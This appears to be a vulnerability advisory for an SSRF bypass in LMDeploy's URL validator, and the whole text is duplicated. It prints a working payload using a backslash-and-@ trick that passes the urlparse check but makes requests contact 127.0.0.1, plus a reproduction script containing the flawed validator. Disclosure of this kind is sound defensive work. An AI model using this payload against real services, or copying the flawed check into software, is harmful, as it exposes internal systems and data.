CVE-2026-123818

LMDeploy is a toolkit for compressing, deploying, and serving large language models. From 0.12.3 until 0.15.0, _is_safe_url validates remote media URLs with urlparse while requests.Session().get interprets backslashes differently when sending the request. An attacker can provide a URL whose validation hostname appears globally routable but whose request destination resolves to an internal host, bypassing non-global address checks. Applications that accept attacker-controlled remote media URLs can therefore be induced to access internal HTTP services and expose data available from those services. This issue is fixed in version 0.15.0.

LMDeploy is a toolkit for compressing, deploying, and serving large language models. From 0.12.3 until 0.15.0, _is_safe_url validates remote media URLs with urlparse while requests.Session().get interprets backslashes differently when sending the request. An attacker can provide a URL whose validation hostname appears globally routable but whose request destination resolves to an internal host, bypassing non-global address checks. Applications that accept attacker-controlled remote media URLs can therefore be induced to access internal HTTP services and expose data available from those services. This issue is fixed in version 0.15.0.

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

LMDeploy is a toolkit for compressing, deploying, and serving large language models. From 0.12.3 until 0.15.0, _is_safe_url validates remote media URLs with urlparse while requests.Session().get interprets backslashes differently when sending the request. An attacker can provide a URL whose validation hostname appears globally routable but whose request destination resolves to an internal host, bypassing non-global address checks. Applications that accept attacker-controlled remote media URLs can therefore be induced to access internal HTTP services and expose data available from those services. This issue is fixed in version 0.15.0.

LMDeploy is a toolkit for compressing, deploying, and serving large language models. From 0.12.3 until 0.15.0, _is_safe_url validates remote media URLs with urlparse while requests.Session().get interprets backslashes differently when sending the request. An attacker can provide a URL whose validation hostname appears globally routable but whose request destination resolves to an internal host, bypassing non-global address checks. Applications that accept attacker-controlled remote media URLs can therefore be induced to access internal HTTP services and expose data available from those services. This issue is fixed in version 0.15.0.

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF